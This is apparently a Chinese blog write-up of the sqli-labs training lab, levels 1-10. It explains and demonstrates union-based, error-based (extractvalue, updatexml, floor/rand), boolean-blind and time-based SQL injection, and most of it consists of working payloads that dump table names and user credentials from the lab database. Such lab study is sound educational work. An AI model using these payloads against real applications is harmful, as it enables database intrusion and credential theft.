sqli-labs Basic Challenges Less1-10

SQL注入

寫在前面的總結:

Less 1-9的難度的主要提升順序:

1.正確具體信息可見,錯誤具體信息可見:

Less1-4,使用union select將所需字段通過正確具體信息顯示;

注意判斷是整型還是字符型、單引號或雙引號、是否有括號。

2.正確具體信息不可見,錯誤具體信息可見:

Less 5-6,Double injection類型,使用報錯注入。

3.只有正確、錯誤信息,沒有詳細信息:

Less8,基於布爾的盲注,一個一個的爆破出表名、列名、數據內容。

4.沒有任何信息

Less 9-10,基於時間的盲注,如果前面字段正確,則執行延時函數-。

Less1和Less2可用思路

1.判斷注入點是字符型還是整數型:

輸入2-1,如果是整型,2-1會被當做1;如果是字符型,‘2-1’會被當作’2’。

這涉及到MySQL的隱式類型轉換,參考鏈接:https://www.jb51.net/article/101531.htm

2.如果是字符型,判斷是否兩端是單引號:

2-1"正常,2-1'不正常,說明是單引號。

' or '1' = '1如果能正常運行,說明兩端都是單引號,並且空格等字符沒有被過濾。

可能會用到#或者--,它們都是SQL的行內註釋,可以把引號註釋掉。

如果用#,注意它是URL的保留字符,可能需要轉義。

如果用--,需要在後面加上一個空格,爲防止兩端的空格被過濾,還可以在空格加上其他字符。

3.union select聯合查詢

第一步是確定列數:

可以通過union select 1,2,3...可以確定列數;

也可以通過order by n確定列數,意思是通過第n列對數據表進行排序。

第二步是確定可以顯示的列:

對於1' union select 1,2,3 #,可能由於設置,只顯示多個結果的第一條。

所以要用' union select 1,2,3 #,第一個結果爲空,所以顯示的是自己構造的結果,比如說顯示2。就說明顯示的是第2列,之後只需要構造第2列就可以了。

第三步:利用information_schema

1.獲取現有的數據庫名

select database()

獲取所有的數據庫名

select schema_name from information_schema.schemata

2.獲取所需數據庫的表名

select table_name from information_schema.tables where table_schema = database()

3.獲取所需表的列名

select column_name from information_schema.columns where table_name='所需表名' and table_schema=database()

4.獲取所需表的全部數據

select col1, col2,... from 所需表

注意:

group_concat(schema_name),以組的形式顯示,多列多行結果合併成一行,不受行的限制。行與行合併成組,以逗號分隔。列與列則是直接合並,可以自行加入分隔符,如group_concat(col1,',',clo2,',',col3)

在用union select調試的時候,注意前面構造的引號、應該有的列數、最後的-- 任意字符

Less-3 GET-Error based-Single quotes with twist-String

做題時錯誤的思路:

?id=1	//正常
?id=1' -- -	//不正常,說明裏面的'被替換了,導致單引號配對失敗
?id=1\' -- -	//正常返回,說明\'被替換成\\'
?id=1\' union select 1 -- -
?id=1\' union select 1,2 -- - //全部正常返回,說明select很有可能被過濾

第3題做到這裏就做不下去了,因爲想不到select被過濾要怎麼搞。結果看答案發現思路完全錯誤

1.在測試的時候應該輸入?id=1'進行測試,這樣就可以看到報錯:

 check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

像之前直接?id=1' -- -進行測試,返回的錯誤結果完全沒有關於括號的報錯。

之後對單引號進行轉義,也是完全錯誤的思路,這使得select被作爲id字符串的一部分,作用完全沒有發揮。至於爲什麼能正常返回,猜想是因爲在查詢數據庫時,將字符串轉成int,正好只取了最前面正常的字符。

2.按照正確的思路繼續做:

?id=1')	//報錯
?id=1') -- -	//正常返回
?id=1') union select 1,2,3 -- - //正常,說明一共有3列
?id=0') union select 1,2,3 -- - //顯示2,3.說明2和3是可顯示列。
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
//因爲默認只顯示1列,所以要用id=0。同樣爲了顯示所有表名,需要用group_concat()將表名連接起來。其中users表看起來不錯
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- - //得到列名
?id=0') union select 1,2,group_concat(id,',',username,',',password) from users -- -
//成功得到所有用戶名和密碼
Less-4 GET-Error based-Double Quotes-String
?id=1'	//正常
?id=1"	//報錯: for the right syntax to use near '"1"") LIMIT 0,1' at line 1
//說明右側不僅是雙引號,還有小括號
?id=1") -- -	//正常
?id=1") union select 1,2,3 -- -
//接下來都是同樣的套路,直到最後
?id=0") union select 1,2,group_concat(id,',',username,',',password) from users -- -
Less-5 GET-Double Injection-Single Quotes-String
?id=1	//返回的是you are in
?id=1'	//報錯
?id=1' -- - //返回you are in
?id=0' union select 1,2,3 -- -	//仍舊返回you are in
//用之前的方法無法再獲取更多的信息

沒有思路,跑去百度。

題目特點是,對於正確的輸入,返回相同的結果。對於錯誤的輸入,會出現報錯。

所以考慮報錯注入的方式,通過報錯信息,來進行下一步的使用。

報錯注入常用1:extractvalue()

該函數一般用於對XML文檔進行查詢,用法是extractevalue(目標xml文檔,xml路徑),特點是在有語法錯誤的時候會報錯,而且會顯示報錯的內容是什麼。比如說extractvalue('anything',concat('~',(select database()))),由於以~開頭的肯定不是xml格式的語法,所以一定會報錯,在報錯時就會顯示出數據庫的內容是什麼了。

測試一下:

?id=0' and extractvalue('anything',concat('~',(select database())))-- -

可以看到報錯:XPATH syntax error: '~security'

使用這個思路繼續往下做:

?id=0' and extractvalue('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))-- -
//得到報錯XPATH syntax error: '~emails,referers,uagents,users',省略若干步:
?id=0' and extractvalue('anything',concat('~',(select group_concat(id,',',username,',',password) from users)))-- -
//得到報錯XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'

注意:extractvalue()一次只能報錯32個字符的長度,如果需要查看剩餘的部分,則需要用substring方法查看。

?id=0' and extractvalue('anything',concat('~',substring((select group_concat(id,',',username,',',password) from users),32,32)))-- -
//得到報錯XPATH syntax error: '~ou,3,Dummy,p@ssword,4,secure,cr'
報錯注入常用2:updatexml()

該函數用於更新xml文檔,語法爲updatexml(目標xml文檔,xml路徑,更新的內容)

第一個和第三個參數填寫anything,第二個參數也是用concat函數構造一個不存在的xml路徑。同樣也是32位查詢。

測試一下:

?id=0' and updatexml('anything',concat('~',(select group_concat(id,',',username,',',password) from users)),'anything')-- -
//成功得到報錯XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
報錯注入常用3:floor()

參考鏈接:https://blog.csdn.net/wn314/article/details/89297560

基礎知識:

floor()函數,返回小於等於輸入參數的最大整數;

rand()產生0到1之間隨機數;

rand(X)以X爲種子產生0到1之間隨機數,X不變,隨機數不變;

floor(rand(X)*2)產生0或1的整數隨機數;

count(*)group by統計某列數值的種類及個數。

語句格式:

select count(*) , floor(rand(14)*2) as x from information_schema.tables group by x

即將floor(rand(14)*2)所在列重命名爲x,並依據x列的值的種類對錶進行統計。

報錯原理:

floor(rand(14)*2)的前4個數值爲1 0 1 0。

MySQL首先建立臨時表,逐行掃描表information_schema.tables,第一次計算floor函數值得到1,查詢臨時表發現沒有鍵值爲1的行,於是準備增加一條記錄,此時第二次計算floor函數值得到0,所以實際插入記錄的值爲(0,1)

MySQL繼續掃描information_schema.tables,第三次計算floor函數值得到1,查詢臨時表發現沒有健值爲1的行,於是準備增加一條記錄,此時第四次計算floor函數值得到0,在插入時出現主鍵衝突,得到報錯類似於Duplicate entry '0' for key 'group_key'

也就是說,在MySQL數據庫中,使用group by語句時會多次計算同一個rand函數的值,每次返回一個新的結果。

這樣我們就可以使用concat函數將我們構造的SQL語句與floor函數進行拼接,使得錯誤結果得以顯示。

測試一下:

?id=1' union select 1,count(*), concat((select version()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

注意union select後面還是要跟正確數量的列數,concat函數進行拼接。得到結果Duplicate entry '5.5.44-0ubuntu0.14.04.10' for key 'group_key'

?id=1' union select 1,count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema=database()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

不知道爲什麼,這裏直接group_concat不管用。

用一下substring:

?id=1' union select 1,count(*), concat(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

加個substring就能顯示……把100換成153能夠顯示,換成154就不行了。

返回得到Duplicate entry 'emails,referers,uagents,users0' for key 'group_key'

當然也可以用下面的方式一個個嘗試。
limit 0,1表示從第一條記錄開始取,取1條

?id=1' union select 1,count(*), concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
//得到結果Duplicate entry 'emails0' for key 'group_key',所以第一個表名爲referers
//一直改到limit 3,1得到users

最後:

?id=1' union select 1,count(*), concat(substring((select group_concat(id,',',username,',',password) from users),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -

可以得到部分解:

Duplicate entry '1,Dumb,Dumb,2,Angelina,I-kill-you,3,Dummy,p@ssword,4,secure,crap' for key 'group_key'
Less-6 GET-Double Injection-Double Quotes-String
?id=1	//you are in...
?id=1"	//報錯
?id=1" -- -	//you are in...

報錯注入嘗試1:

1.測試一下能否成功
?id=1" and extractvalue('anything', concat('~', (select database()))) -- -
//報錯 XPATH syntax error: '~security'
2.爆表名
?id=1" and extractvalue('anything', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- -
//報錯 XPATH syntax error: '~emails,referers,uagents,users'
3.爆列名
?id=1" and extractvalue('anything', concat('~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) -- -
//報錯 XPATH syntax error: '~id,username,password'
4.獲取表中的所有數據
?id=1" and extractvalue('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users))) -- -
//報錯 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
//通過substring來獲取後面的部分
?id=1" and extractvalue('anything', concat('~', substring((select group_concat(id,' ',username, ' ', password) from users),32,32))) -- -
//報錯 XPATH syntax error: '~ou,3 Dummy p@ssword,4 secure cr'

報錯注入嘗試2:

?id=1" and updatexml('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users)), 'anything') -- -
//報錯 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'

報錯注入嘗試3:

1.確認列的個數
?id=1" union select 1,2,3-- -	//you are in...
2.測試語句能否使用
?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//報錯 Duplicate entry 'security0' for key 'group_key'
3.不一步一步做了,直接爆列名
?id=1" union select 1,count(*),concat(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//還是不知道爲什麼要加上substring。。。
//得到報錯 Duplicate entry 'id,username,password0' for key 'group_key'
4.爆數據
?id=1" union select 1,count(*),concat(substring((select group_concat(id,' ',username, ' ', password) from users),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//報錯 Duplicate entry '1 Dumb Dumb,2 Angelina I-kill-you,3 Dummy p@ssword,4 secure crap' for key 'group_key'
Less-7 GET-Dump into outfile-String
?id=1	//You are in.... Use outfile......
1.判斷是整數型還是字符型
?id=18	//報錯
?id=18-17	//報錯,說明不是整數型,是字符型。如果是整數型,會將18-17計算成1。
2.判斷是單引號還是雙引號
?id=1'	//報錯
?id=1"	//不報錯,說明id兩端一定是單引號。如果id兩端是雙引號,應該單引號時不報錯,雙引號時報錯
3.判斷單引號後面是否還有括號
?id=1'-- -	//報錯,但是沒有錯誤回顯,需要自己猜測,那麼只有可能是缺少括號的問題
?id=1')-- -	//報錯,再增加括號
?id=1'))-- -	//不報錯
4.判斷有幾列
?id=1')) union select 1,2,3-- -	//不報錯

試着寫入外部文件中:

因爲服務器不在我這端,寫了文件也看不見,所以暫時不考慮這道題。

Less-8 GET-Blind-Boolian Based-Single Quotes

盲注的特點就是隻能區分出是正確還是錯誤。不帶更具體的錯誤回顯。

1.構造盲注格式,檢驗是否正確
?id=1' union select 1,2,3-- -
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- -
//判斷表名的第一個字符,注意用and連接,左側一直有值,右側只有在數值正確的時候纔有值
?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'-- -

用burp suite爆破一下length:

在這裏插入圖片描述

可以知道表的總長度爲29。

接下來利用Python中的import string string.printable獲取所有的可打印字符,構建字典。再用burp suite一個個試表中每一位:

得到第一個字符是e:

在這裏插入圖片描述

然後修改substring(,1,1)substring(,2,1),得到第二位m,依次類推,可以得到所有的表名,然後得到所有的列名,進而得到所有的數據。

可以看出,整個過程非常麻煩,所以可以自己編寫自動化腳本完成這一過程。在編寫自動化腳本的過程中,可以使用二分法來加快進度。

Less-9 Blind-Time based-Single Quotes-String

基於時間的盲注,特點是無論正確與否返回的都是一樣的。

?id=1' and sleep(3)-- -
//看到出現明顯延遲,說明注入成功
//原因是,如果id=1'能夠查詢到數值,那麼就會執行sleep(3);如果id=1'查詢不到數值,就不會執行and後面的部分。這裏出現延遲,說明後面被執行,說明and前面的部分是正確的。

例如下面的就有明顯的延遲:

?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 and sleep(3)-- -

方法類似,只需要一個個嘗試。按照順序獲取表的長度、表名、列名、屬性名。
Less10的思路也是類似的,只是換成了雙引號。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章